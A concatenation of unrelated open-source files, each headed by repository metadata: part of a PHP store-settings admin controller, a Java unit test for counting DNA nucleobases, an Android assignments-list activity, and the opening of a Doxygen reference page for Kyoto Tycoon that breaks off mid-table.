$this->load->model('localisation/return_status'); $this->data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses(); $this->load->model('tool/image'); if (isset($this->request->post['config_logo'])) { $this->data['config_logo'] = $this->request->post['config_logo']; } else { $this->data['config_logo'] = $this->config->get('config_logo'); } if ($this->config->get('config_logo') && file_exists(DIR_IMAGE . $this->config->get('config_logo')) && is_file(DIR_IMAGE . $this->config->get('config_logo'))) { $this->data['logo'] = $this->model_tool_image->resize($this->config->get('config_logo'), 100, 100); } else { $this->data['logo'] = $this->model_tool_image->resize('no_image.jpg', 100, 100); } if (isset($this->request->post['config_icon'])) { $this->data['config_icon'] = $this->request->post['config_icon']; } else { $this->data['config_icon'] = $this->config->get('config_icon'); } if ($this->config->get('config_icon') && file_exists(DIR_IMAGE . $this->config->get('config_icon')) && is_file(DIR_IMAGE . $this->config->get('config_icon'))) { $this->data['icon'] = $this->model_tool_image->resize($this->config->get('config_icon'), 100, 100); } else { $this->data['icon'] = $this->model_tool_image->resize('no_image.jpg', 100, 100); } $this->data['no_image'] = $this->model_tool_image->resize('no_image.jpg', 100, 100); if (isset($this->request->post['config_image_category_width'])) { $this->data['config_image_category_width'] = $this->request->post['config_image_category_width']; } else { $this->data['config_image_category_width'] = $this->config->get('config_image_category_width'); } if (isset($this->request->post['config_image_category_height'])) { $this->data['config_image_category_height'] = $this->request->post['config_image_category_height']; } else { $this->data['config_image_category_height'] = $this->config->get('config_image_category_height'); } if (isset($this->request->post['config_image_thumb_width'])) { $this->data['config_image_thumb_width'] = $this->request->post['config_image_thumb_width']; } else { $this->data['config_image_thumb_width'] = $this->config->get('config_image_thumb_width'); } if (isset($this->request->post['config_image_thumb_height'])) { $this->data['config_image_thumb_height'] = $this->request->post['config_image_thumb_height']; } else { $this->data['config_image_thumb_height'] = $this->config->get('config_image_thumb_height'); } if (isset($this->request->post['config_image_popup_width'])) { $this->data['config_image_popup_width'] = $this->request->post['config_image_popup_width']; } else { $this->data['config_image_popup_width'] = $this->config->get('config_image_popup_width'); } if (isset($this->request->post['config_image_popup_height'])) { $this->data['config_image_popup_height'] = $this->request->post['config_image_popup_height']; } else { $this->data['config_image_popup_height'] = $this->config->get('config_image_popup_height'); } if (isset($this->request->post['config_image_product_width'])) { $this->data['config_image_product_width'] = $this->request->post['config_image_product_width']; } else { $this->data['config_image_product_width'] = $this->config->get('config_image_product_width'); } if (isset($this->request->post['config_image_product_height'])) { $this->data['config_image_product_height'] = $this->request->post['config_image_product_height']; } else { $this->data['config_image_product_height'] = $this->config->get('config_image_product_height'); } if (isset($this->request->post['config_image_additional_width'])) { $this->data['config_image_additional_width'] = $this->request->post['config_image_additional_width']; } else { $this->data['config_image_additional_width'] = $this->config->get('config_image_additional_width'); } if (isset($this->request->post['config_image_additional_height'])) { $this->data['config_image_additional_height'] = $this->request->post['config_image_additional_height']; } else { $this->data['config_image_additional_height'] = $this->config->get('config_image_additional_height'); } if (isset($this->request->post['config_image_related_width'])) { $this->data['config_image_related_width'] = $this->request->post['config_image_related_width']; } else { $this->data['config_image_related_width'] = $this->config->get('config_image_related_width'); } if (isset($this->request->post['config_image_related_height'])) { $this->data['config_image_related_height'] = $this->request->post['config_image_related_height']; } else { $this->data['config_image_related_height'] = $this->config->get('config_image_related_height'); } if (isset($this->request->post['config_image_compare_width'])) { $this->data['config_image_compare_width'] = $this->request->post['config_image_compare_width']; } else { $this->data['config_image_compare_width'] = $this->config->get('config_image_compare_width'); } if (isset($this->request->post['config_image_compare_height'])) { $this->data['config_image_compare_height'] = $this->request->post['config_image_compare_height']; } else { $this->data['config_image_compare_height'] = $this->config->get('config_image_compare_height'); } if (isset($this->request->post['config_image_wishlist_width'])) { $this->data['config_image_wishlist_width'] = $this->request->post['config_image_wishlist_width']; } else { $this->data['config_image_wishlist_width'] = $this->config->get('config_image_wishlist_width'); } if (isset($this->request->post['config_image_wishlist_height'])) { $this->data['config_image_wishlist_height'] = $this->request->post['config_image_wishlist_height']; } else { $this->data['config_image_wishlist_height'] = $this->config->get('config_image_wishlist_height'); } if (isset($this->request->post['config_image_cart_width'])) { $this->data['config_image_cart_width'] = $this->request->post['config_image_cart_width']; } else { $this->data['config_image_cart_width'] = $this->config->get('config_image_cart_width'); } if (isset($this->request->post['config_image_cart_height'])) { $this->data['config_image_cart_height'] = $this->request->post['config_image_cart_height']; } else { $this->data['config_image_cart_height'] = $this->config->get('config_image_cart_height'); } if (isset($this->request->post['config_mail_protocol'])) { $this->data['config_mail_protocol'] = $this->request->post['config_mail_protocol']; } else { $this->data['config_mail_protocol'] = $this->config->get('config_mail_protocol'); } if (isset($this->request->post['config_mail_parameter'])) { $this->data['config_mail_parameter'] = $this->request->post['config_mail_parameter']; } else { $this->data['config_mail_parameter'] = $this->config->get('config_mail_parameter'); } if (isset($this->request->post['config_smtp_host'])) { $this->data['config_smtp_host'] = $this->request->post['config_smtp_host']; } else { $this->data['config_smtp_host'] = $this->config->get('config_smtp_host'); } if (isset($this->request->post['config_smtp_username'])) { $this->data['config_smtp_username'] = $this->request->post['config_smtp_username']; } else { $this->data['config_smtp_username'] = $this->config->get('config_smtp_username'); } if (isset($this->request->post['config_smtp_password'])) { $this->data['config_smtp_password'] = $this->request->post['config_smtp_password']; } else { $this->data['config_smtp_password'] = $this->config->get('config_smtp_password'); } if (isset($this->request->post['config_smtp_port'])) { $this->data['config_smtp_port'] = $this->request->post['config_smtp_port']; } elseif ($this->config->get('config_smtp_port')) { $this->data['config_smtp_port'] = $this->config->get('config_smtp_port'); } else { $this->data['config_smtp_port'] = 25; } if (isset($this->request->post['config_smtp_timeout'])) { $this->data['config_smtp_timeout'] = $this->request->post['config_smtp_timeout']; } elseif ($this->config->get('config_smtp_timeout')) { $this->data['config_smtp_timeout'] = $this->config->get('config_smtp_timeout'); } else { $this->data['config_smtp_timeout'] = 5; } if (isset($this->request->post['config_alert_mail'])) { $this->data['config_alert_mail'] = $this->request->post['config_alert_mail']; } else { $this->data['config_alert_mail'] = $this->config->get('config_alert_mail'); } if (isset($this->request->post['config_account_mail'])) { $this->data['config_account_mail'] = $this->request->post['config_account_mail']; } else { $this->data['config_account_mail'] = $this->config->get('config_account_mail'); } if (isset($this->request->post['config_alert_emails'])) { $this->data['config_alert_emails'] = $this->request->post['config_alert_emails']; } else { $this->data['config_alert_emails'] = $this->config->get('config_alert_emails'); } if (isset($this->request->post['config_fraud_detection'])) { $this->data['config_fraud_detection'] = $this->request->post['config_fraud_detection']; } else { $this->data['config_fraud_detection'] = $this->config->get('config_fraud_detection'); } if (isset($this->request->post['config_fraud_key'])) { $this->data['config_fraud_key'] = $this->request->post['config_fraud_key']; } else { $this->data['config_fraud_key'] = $this->config->get('config_fraud_key'); } if (isset($this->request->post['config_fraud_score'])) { $this->data['config_fraud_score'] = $this->request->post['config_fraud_score']; } else { $this->data['config_fraud_score'] = $this->config->get('config_fraud_score'); } if (isset($this->request->post['config_fraud_status_id'])) { $this->data['config_fraud_status_id'] = $this->request->post['config_fraud_status_id']; } else { $this->data['config_fraud_status_id'] = $this->config->get('config_fraud_status_id'); } if (isset($this->request->post['config_use_ssl'])) { $this->data['config_use_ssl'] = $this->request->post['config_use_ssl']; } else { $this->data['config_use_ssl'] = $this->config->get('config_use_ssl'); } if (isset($this->request->post['config_seo_url'])) { $this->data['config_seo_url'] = $this->request->post['config_seo_url']; } else { $this->data['config_seo_url'] = $this->config->get('config_seo_url'); } if (isset($this->request->post['config_maintenance'])) { $this->data['config_maintenance'] = $this->request->post['config_maintenance']; } else { $this->data['config_maintenance'] = $this->config->get('config_maintenance'); } if (isset($this->request->post['config_encryption'])) { $this->data['config_encryption'] = $this->request->post['config_encryption']; } else { $this->data['config_encryption'] = $this->config->get('config_encryption'); } if (isset($this->request->post['config_compression'])) { $this->data['config_compression'] = $this->request->post['config_compression']; } else { $this->data['config_compression'] = $this->config->get('config_compression'); } if (isset($this->request->post['config_error_display'])) { $this->data['config_error_display'] = $this->request->post['config_error_display']; } else { $this->data['config_error_display'] = $this->config->get('config_error_display'); } if (isset($this->request->post['config_error_log'])) { $this->data['config_error_log'] = $this->request->post['config_error_log']; } else { $this->data['config_error_log'] = $this->config->get('config_error_log'); } if (isset($this->request->post['config_error_filename'])) { $this->data['config_error_filename'] = $this->request->post['config_error_filename']; } else { $this->data['config_error_filename'] = $this->config->get('config_error_filename'); } if (isset($this->request->post['config_google_analytics'])) { $this->data['config_google_analytics'] = $this->request->post['config_google_analytics']; } else { $this->data['config_google_analytics'] = $this->config->get('config_google_analytics'); } $this->template = 'setting/setting.tpl'; $this->children = array( 'common/header', 'common/footer' ); $this->response->setOutput($this->render()); } private function validate() { if (!$this->user->hasPermission('modify', 'setting/setting')) { $this->error['warning'] = $this->language->get('error_permission'); } if (!$this->request->post['config_name']) { $this->error['name'] = $this->language->get('error_name'); } if ((utf8_strlen($this->request->post['config_owner']) < 3) || (utf8_strlen($this->request->post['config_owner']) > 64)) { $this->error['owner'] = $this->language->get('error_owner'); } if ((utf8_strlen($this->request->post['config_address']) < 3) || (utf8_strlen($this->request->post['config_address']) > 256)) { $this->error['address'] = $this->language->get('error_address'); } if ((utf8_strlen($this->request->post['config_email']) > 96) || !preg_match('/^[^\@]+@.*\.[a-z]{2,6}$/i', $this->request->post['config_email'])) { $this->error['email'] = $this->language->get('error_email'); } if ((utf8_strlen($this->request->post['config_telephone']) < 3) || (utf8_strlen($this->request->post['config_telephone']) > 32)) { $this->error['telephone'] = $this->language->get('error_telephone'); } if (!$this->request->post['config_title']) { $this->error['title'] = $this->language->get('error_title'); } if (!empty($this->request->post['config_customer_group_display']) && !in_array($this->request->post['config_customer_group_id'], $this->request->post['config_customer_group_display'])) { $this->error['customer_group_display'] = $this->language->get('error_customer_group_display'); } if (!$this->request->post['config_voucher_min']) { $this->error['voucher_min'] = $this->language->get('error_voucher_min'); } if (!$this->request->post['config_voucher_max']) { $this->error['voucher_max'] = $this->language->get('error_voucher_max'); } if (!$this->request->post['config_image_category_width'] || !$this->request->post['config_image_category_height']) { $this->error['image_category'] = $this->language->get('error_image_category'); } if (!$this->request->post['config_image_thumb_width'] || !$this->request->post['config_image_thumb_height']) { $this->error['image_thumb'] = $this->language->get('error_image_thumb'); } if (!$this->request->post['config_image_popup_width'] || !$this->request->post['config_image_popup_height']) { $this->error['image_popup'] = $this->language->get('error_image_popup'); } if (!$this->request->post['config_image_product_width'] || !$this->request->post['config_image_product_height']) { $this->error['image_product'] = $this->language->get('error_image_product'); } if (!$this->request->post['config_image_additional_width'] || !$this->request->post['config_image_additional_height']) { $this->error['image_additional'] = $this->language->get('error_image_additional'); } if (!$this->request->post['config_image_related_width'] || !$this->request->post['config_image_related_height']) { $this->error['image_related'] = $this->language->get('error_image_related'); } if (!$this->request->post['config_image_compare_width'] || !$this->request->post['config_image_compare_height']) { $this->error['image_compare'] = $this->language->get('error_image_compare'); } if (!$this->request->post['config_image_wishlist_width'] || !$this->request->post['config_image_wishlist_height']) { $this->error['image_wishlist'] = $this->language->get('error_image_wishlist'); } if (!$this->request->post['config_image_cart_width'] || !$this->request->post['config_image_cart_height']) { $this->error['image_cart'] = $this->language->get('error_image_cart'); } if (!$this->request->post['config_error_filename']) { $this->error['error_filename'] = $this->language->get('error_error_filename'); } if (!$this->request->post['config_admin_limit']) { $this->error['admin_limit'] = $this->language->get('error_limit'); } if (!$this->request->post['config_catalog_limit']) { $this->error['catalog_limit'] = $this->language->get('error_limit'); } if ($this->error && !isset($this->error['warning'])) { $this->error['warning'] = $this->language->get('error_warning'); } if (!$this->error) { return true; } else { return false; } } public function template() { if (file_exists(DIR_IMAGE . 'templates/' . basename($this->request->get['template']) . '.png')) { $image = HTTPS_IMAGE . 'templates/' . basename($this->request->get['template']) . '.png'; } else { $image = HTTPS_IMAGE . 'no_image.jpg'; } $this->response->setOutput('<img src="' . $image . '" alt="" title="" style="border: 1px solid #EEEEEE;" />'); } public function country() { $json = array(); $this->load->model('localisation/country'); $country_info = $this->model_localisation_country->getCountry($this->request->get['country_id']); if ($country_info) { $this->load->model('localisation/zone'); $json = array( 'country_id' => $country_info['country_id'], 'name' => $country_info['name'], 'iso_code_2' => $country_info['iso_code_2'], 'iso_code_3' => $country_info['iso_code_3'], 'address_format' => $country_info['address_format'], 'postcode_required' => $country_info['postcode_required'], 'zone' => $this->model_localisation_zone->getZonesByCountryId($this->request->get['country_id']), 'status' => $country_info['status'] ); } $this->response->setOutput(json_encode($json)); } } ?>
gpl-3.0
Sanguinik/sea
src/test/java/com/wordpress/marleneknoche/sea/logic/NucleobaseCounterTest.java
1956
package com.wordpress.marleneknoche.sea.logic; import static org.junit.Assert.assertEquals; import static org.junit.Assert.*; import java.util.HashMap; import java.util.Map; import org.junit.Before; import org.junit.Test; public class NucleobaseCounterTest { private NucleobaseCounter nucleobaseCounter; private static final String TEST_STRING = "GTACGCCTGGGAGTCGACTGACTGCTGAAGATACAGAACCTGA"; @Before public void setUp(){ nucleobaseCounter = new NucleobaseCounter(); } @Test public void countNucleobasesTest() { Map<String,Integer> nucleobaseMap = new HashMap<String,Integer>(); nucleobaseMap = nucleobaseCounter.countNucleobases(TEST_STRING); assertEquals(13, nucleobaseMap.get("G"),0); assertEquals(8, nucleobaseMap.get("T"),0); assertEquals(10, nucleobaseMap.get("C"),0); assertEquals(12, nucleobaseMap.get("A"),0); } @Test public void countPurinesTest(){ Map<String,Integer> nucleobaseMap = new HashMap<String,Integer>(); nucleobaseMap.put("G", 13); nucleobaseMap.put("T", 8); nucleobaseMap.put("C", 10); nucleobaseMap.put("A", 12); int numberOfPurines = nucleobaseCounter.countPurines(nucleobaseMap); assertEquals(25, numberOfPurines); } @Test public void countPyrimidinesTest(){ //C+T=py Map<String,Integer> nucleobaseMap = new HashMap<String,Integer>(); nucleobaseMap.put("G", 13); nucleobaseMap.put("T", 8); nucleobaseMap.put("C", 10); nucleobaseMap.put("A", 12); int numberOfPyrimidines = nucleobaseCounter.countPyrimidines(nucleobaseMap); assertEquals(18, numberOfPyrimidines); } @Test public void hasMorePurinesThanPyrimidinesTest(){ Map<String, Integer> nucleobaseMap = new HashMap<String, Integer>(); nucleobaseMap.put("G", 13); nucleobaseMap.put("T", 8); nucleobaseMap.put("C", 10); nucleobaseMap.put("A", 12); assertTrue(nucleobaseCounter.hasMorePurinesThanPyrimidines(nucleobaseMap)); } }
gpl-3.0
gavinflud/edumate
src/com/gavinflood/edumate/Assignments.java
15858
package com.gavinflood.edumate; import java.util.ArrayList; import java.util.List; import java.util.Vector; import android.app.Activity; import android.app.Dialog; import android.app.ListActivity; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.database.SQLException; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.ImageButton; import android.widget.ImageView; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; public class Assignments extends ListActivity { // Global variables private ImageButton home; private ImageButton newAssignment; private DatabaseAdapter dbAdapter; private Vector<RowData> list; private RowData rd; private LayoutInflater inflater; private CustomAdapter adapter; private SeparatedListAdapter separatedAdapter; private ListView lv; private String tag = getClass().getSimpleName(); // More global variables. private long id; private String subject; private int sem; private String desc; private String descShort; private String date; private String time; public int status; private List<Long> idList; // Called when the Activity is created. @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.assignments); // Initialise the variables for the listview. inflater = (LayoutInflater)getSystemService(Activity.LAYOUT_INFLATER_SERVICE); list = new Vector<RowData>(); separatedAdapter = new SeparatedListAdapter(this); idList = new ArrayList<Long>(); // Fetch the assignments from the database and order them by date in a // separated adapter. dbAdapter = new DatabaseAdapter(this); try { dbAdapter.open(); Cursor c = dbAdapter.fetchAllAssignments(); if (c != null) { if (adapter != null) adapter.clear(); if (list != null) list.clear(); if (c.moveToFirst()) { String prevDate = "No Date"; int count = 0; long zero = 0; do { id = c.getLong(c.getColumnIndex(DatabaseAdapter.ASS_ID)); subject = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_SUBJECT)); desc = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_DESC)); status = c.getInt(c.getColumnIndex(DatabaseAdapter.ASS_STATUS)); date = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_DATE)); // Shorten the description if it might extend over the status icon. if (desc.length() >= 30) { descShort = desc.substring(0, 30); descShort += "..."; } else { descShort = desc; } // Create a new RowData object with the fields set to the data obtained. rd = new RowData(subject, descShort, status); // Check if this is the first item in the database and make it's // due date the starting date. if (count == 0) { prevDate = date; } count++; // If the current item's due date is equal to the previous item's due // date, add the item to the list. Otherwise, add it to a new list in // a new section. if (date.equals(prevDate)) { list.add(rd); Log.d(tag, "Added "+subject+", "+date+" = "+prevDate); } else { CustomAdapter adapter = new CustomAdapter(this, R.layout.assignments_list_item, R.id.assignment_list_item_title, list); prevDate = formatDate(prevDate); separatedAdapter.addSection(prevDate, adapter); idList.add(zero); Log.d(tag, "Added section to separatedAdapter."); list = new Vector<RowData>(); list.add(rd); Log.d(tag, "Added "+subject+", "+date+" != "+prevDate); } prevDate = date; idList.add(id); } while (c.moveToNext()); // Add the last item to the appropriate list and section. CustomAdapter adapter = new CustomAdapter(this, R.layout.assignments_list_item, R.id.assignment_list_item_title, list); prevDate = formatDate(prevDate); separatedAdapter.addSection(prevDate, adapter); idList.add(zero); } } c.close(); } catch (SQLException e) { Log.d(tag, "Could not retrieve data..."); } finally { if (dbAdapter != null) dbAdapter.close(); } initListView(); initHome(); initNewAssignment(); } // Initialise home button. private void initHome() { home = (ImageButton)findViewById(R.id.assignments_home); home.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { startActivity(new Intent(Assignments.this, HomeScreen.class)); } }); } // Initialise the newAssignment button. private void initNewAssignment() { newAssignment = (ImageButton)findViewById(R.id.new_assignment); newAssignment.setOnClickListener(new OnClickListener() { public void onClick(View v) { Cursor c; boolean noSubjects = false; int count = 0; try { dbAdapter.open(); String s = PrefManager.readString(getApplicationContext(), PrefManager.SEMESTER, "1"); int se; if (s.equals("Year Long")) se = 0; else se = Integer.parseInt(s); if (se == 1 || se == 0) c = dbAdapter.fetchAllSubjectsSem1(); else c = dbAdapter.fetchAllSubjectsSem2(); if (c != null) { if (c.moveToFirst()) { do { count++; } while (c.moveToNext()); } } Log.d(tag, "Count: " + count); if (count == 0) noSubjects = true; Log.d(tag, "" + noSubjects); } catch (SQLException e) { Log.d(tag, "Could not check number of classes"); } finally { if (dbAdapter != null) dbAdapter.close(); } if (noSubjects == true) { Toast t = Toast.makeText(getApplicationContext(), "Add a class first.", Toast.LENGTH_SHORT); t.show(); } else { startActivity(new Intent(Assignments.this, NewAssignmentScreen.class)); finish(); } } }); } // Initialise the list view functionality. private void initListView() { lv = getListView(); lv.setAdapter(separatedAdapter); lv.setTextFilterEnabled(true); // When the listview is clicked, get the data from the appropriate row in the database // and add it as extras to an intent, which starts the Assignment Screen Activity. lv.setOnItemClickListener(new OnItemClickListener() { public void onItemClick(AdapterView<?> parent, View view, int pos, long id) { try { Log.d(tag, "Selected position: " + pos); long newId = idList.get(pos - 1); dbAdapter.open(); Cursor c = dbAdapter.fetchAssignment(newId); if (c != null) { if (c.moveToFirst()) { do { subject = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_SUBJECT)); sem = c.getInt(c.getColumnIndex(DatabaseAdapter.ASS_SEM)); desc = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_DESC)); status = c.getInt(c.getColumnIndex(DatabaseAdapter.ASS_STATUS)); date = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_DATE)); time = c.getString(c.getColumnIndex(DatabaseAdapter.ASS_TIME)); } while (c.moveToNext()); } } c.close(); Intent intent = new Intent(Assignments.this, AssignmentScreen.class); intent.putExtra("ASS_SUB", subject); intent.putExtra("ASS_SEM", sem); intent.putExtra("ASS_DESC", desc); intent.putExtra("ASS_STAT", status); intent.putExtra("ASS_DATE", date); intent.putExtra("ASS_TIME", time); intent.putExtra("ASS_ID", newId); startActivity(intent); finish(); } catch (SQLException e) { Log.d(tag, "Could not add data to assignmentScreen."); } finally { if (dbAdapter != null) dbAdapter.close(); } } }); } // Format the date to show it as a worded date, for example: '12th September 2011' private String formatDate(String input) { String[] stringSplit = input.split("-"); String year = stringSplit[0]; String month = stringSplit[1]; String day = stringSplit[2]; if (day.equals("01")) day = "1st"; else if (day.equals("02")) day = "2nd"; else if (day.equals("03")) day = "3rd"; else if (day.equals("04")) day = "4th"; else if (day.equals("05")) day = "5th"; else if (day.equals("06")) day = "6th"; else if (day.equals("07")) day = "7th"; else if (day.equals("08")) day = "8th"; else if (day.equals("09")) day = "9th"; else if (day.equals("10")) day = "10th"; else if (day.equals("11")) day = "11th"; else if (day.equals("12")) day = "12th"; else if (day.equals("13")) day = "13th"; else if (day.equals("14")) day = "14th"; else if (day.equals("15")) day = "15th"; else if (day.equals("16")) day = "16th"; else if (day.equals("17")) day = "17th"; else if (day.equals("18")) day = "18th"; else if (day.equals("19")) day = "19th"; else if (day.equals("20")) day = "20th"; else if (day.equals("21")) day = "21st"; else if (day.equals("22")) day = "22nd"; else if (day.equals("23")) day = "23rd"; else if (day.equals("24")) day = "24th"; else if (day.equals("25")) day = "25th"; else if (day.equals("26")) day = "26th"; else if (day.equals("27")) day = "27th"; else if (day.equals("28")) day = "28th"; else if (day.equals("29")) day = "29th"; else if (day.equals("30")) day = "30th"; else if (day.equals("31")) day = "31st"; if (month.equals("01")) month = "January"; else if (month.equals("02")) month = "February"; else if (month.equals("03")) month = "March"; else if (month.equals("04")) month = "April"; else if (month.equals("05")) month = "May"; else if (month.equals("06")) month = "June"; else if (month.equals("07")) month = "July"; else if (month.equals("08")) month = "August"; else if (month.equals("09")) month = "September"; else if (month.equals("10")) month = "October"; else if (month.equals("02")) month = "November"; else if (month.equals("02")) month = "December"; String fullDate = day + " " + month + " " + year; return fullDate; } // Private class RowData which is called each time a new row needs to be added to the // appropriate section of the SeparatedAdapter. private class RowData { protected int mStatus; protected String mSubject; protected String mDesc; RowData(String title, String desc, int status){ mStatus = status; mSubject = title; mDesc = desc; } @Override public String toString() { return mSubject+" "+mDesc+" "+mStatus; } } // Private class CustomAdapter which initialises any views on the list-item to // the appropriate values. private class CustomAdapter extends ArrayAdapter<RowData> { public CustomAdapter(Context context, int resource, int textViewResourceId, List<RowData> objects) { super(context, resource, textViewResourceId, objects); } @Override public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder = null; TextView subject = null; TextView desc = null; ImageView status = null; RowData rowData = getItem(position); if (null == convertView) { convertView = inflater.inflate(R.layout.assignments_list_item, null); holder = new ViewHolder(convertView); convertView.setTag(holder); } holder = (ViewHolder)convertView.getTag(); subject = holder.getSubject(); subject.setText(rowData.mSubject); desc = holder.getDesc(); desc.setText(rowData.mDesc); status = holder.getStatus(); // Show incomplete image if status is incomplete, otherwise show complete image. if (rowData.mStatus == 0) status.setImageResource(R.drawable.not_complete); else if (rowData.mStatus == 1) status.setImageResource(R.drawable.completed); return convertView; } } // Private class ViewHolder which returns the views for the list-item to the CustomAdapter. private class ViewHolder { private View mRow; private TextView subject = null; private TextView desc = null; private ImageView status = null; public ViewHolder(View row) { mRow = row; } public TextView getSubject() { if (null == subject) subject = (TextView) mRow.findViewById(R.id.assignment_list_item_title); return subject; } public TextView getDesc() { if (null == desc) desc = (TextView) mRow.findViewById(R.id.assignment_list_item_desc); return desc; } public ImageView getStatus() { if (null == status) status = (ImageView) mRow.findViewById(R.id.assignment_list_item_status); return status; } } //Create the menu. @Override public boolean onCreateOptionsMenu(Menu menu) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu_delete_all, menu); return true; } // Implement menu functionality. @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.delete_all_items: final Dialog dialog = new Dialog(Assignments.this); dialog.setContentView(R.layout.yes_no); dialog.setTitle(R.string.delete_all_assignments); dialog.setCancelable(true); Button yes = (Button)dialog.findViewById(R.id.yes); yes.setOnClickListener(new OnClickListener() { public void onClick(View v) { try { dbAdapter.open(); dbAdapter.deleteAssignments(); startActivity(new Intent(Assignments.this, HomeScreen.class)); finish(); } catch (SQLException e) { Log.d(tag, "Could not delete all assignments"); } finally { if (dbAdapter != null) dbAdapter.close(); } } }); Button no = (Button)dialog.findViewById(R.id.no); no.setOnClickListener(new OnClickListener() { public void onClick(View v) { dialog.dismiss(); } }); dialog.show(); return true; default: return super.onOptionsItemSelected(item); } } // Override the back button functionality to finish this Activity and start the HomeScreen. @Override public void onBackPressed() { startActivity(new Intent(Assignments.this, HomeScreen.class)); finish(); } }
gpl-3.0
g2p/kyototycoon
doc/api/namespacekyototycoon.html
71825
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <title>Kyoto Tycoon: kyototycoon Namespace Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="doxygen.css" rel="stylesheet" type="text/css"/> </head> <body> <!-- Generated by Doxygen 1.6.3 --> <div class="navigation" id="top"> <div class="tabs"> <ul> <li><a href="index.html"><span>Main&nbsp;Page</span></a></li> <li class="current"><a href="namespaces.html"><span>Namespaces</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div class="tabs"> <ul> <li><a href="namespaces.html"><span>Namespace&nbsp;List</span></a></li> <li><a href="namespacemembers.html"><span>Namespace&nbsp;Members</span></a></li> </ul> </div> </div> <div class="contents"> <h1>kyototycoon Namespace Reference</h1> <p>All symbols of Kyoto Tycoon. <a href="#_details">More...</a></p> <table border="0" cellpadding="0" cellspacing="0"> <tr><td colspan="2"><h2>Classes</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1MapReduce.html">MapReduce</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight"><a class="el" href="classkyototycoon_1_1MapReduce.html" title="MapReduce framework.">MapReduce</a> framework. <a href="classkyototycoon_1_1MapReduce.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1URL.html">URL</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight"><a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> accessor. <a href="classkyototycoon_1_1URL.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1HTTPClient.html">HTTPClient</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">HTTP client. <a href="classkyototycoon_1_1HTTPClient.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1HTTPServer.html">HTTPServer</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">HTTP server. <a href="classkyototycoon_1_1HTTPServer.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1PluggableDB.html">PluggableDB</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Interface of pluggable database abstraction. <a href="classkyototycoon_1_1PluggableDB.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1PluggableServer.html">PluggableServer</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Interface of pluggable server abstraction. <a href="classkyototycoon_1_1PluggableServer.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1RemoteDB.html">RemoteDB</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Remote database. <a href="classkyototycoon_1_1RemoteDB.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1ReplicationClient.html">ReplicationClient</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">Replication client. <a href="classkyototycoon_1_1ReplicationClient.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1RPCClient.html">RPCClient</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">RPC client. <a href="classkyototycoon_1_1RPCClient.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a class="el" href="classkyototycoon_1_1RPCServer.html">RPCServer</a></td></tr> <tr><td class="mdescLeft">&nbsp;</td><td class="mdescRight">RPC server. <a href="classkyototycoon_1_1RPCServer.html#_details">More...</a><br/></td></tr> <tr><td class="memItemLeft" align="right" valign="top">class &nbsp;</td><td class="memItemRight" valign="bottom"><a 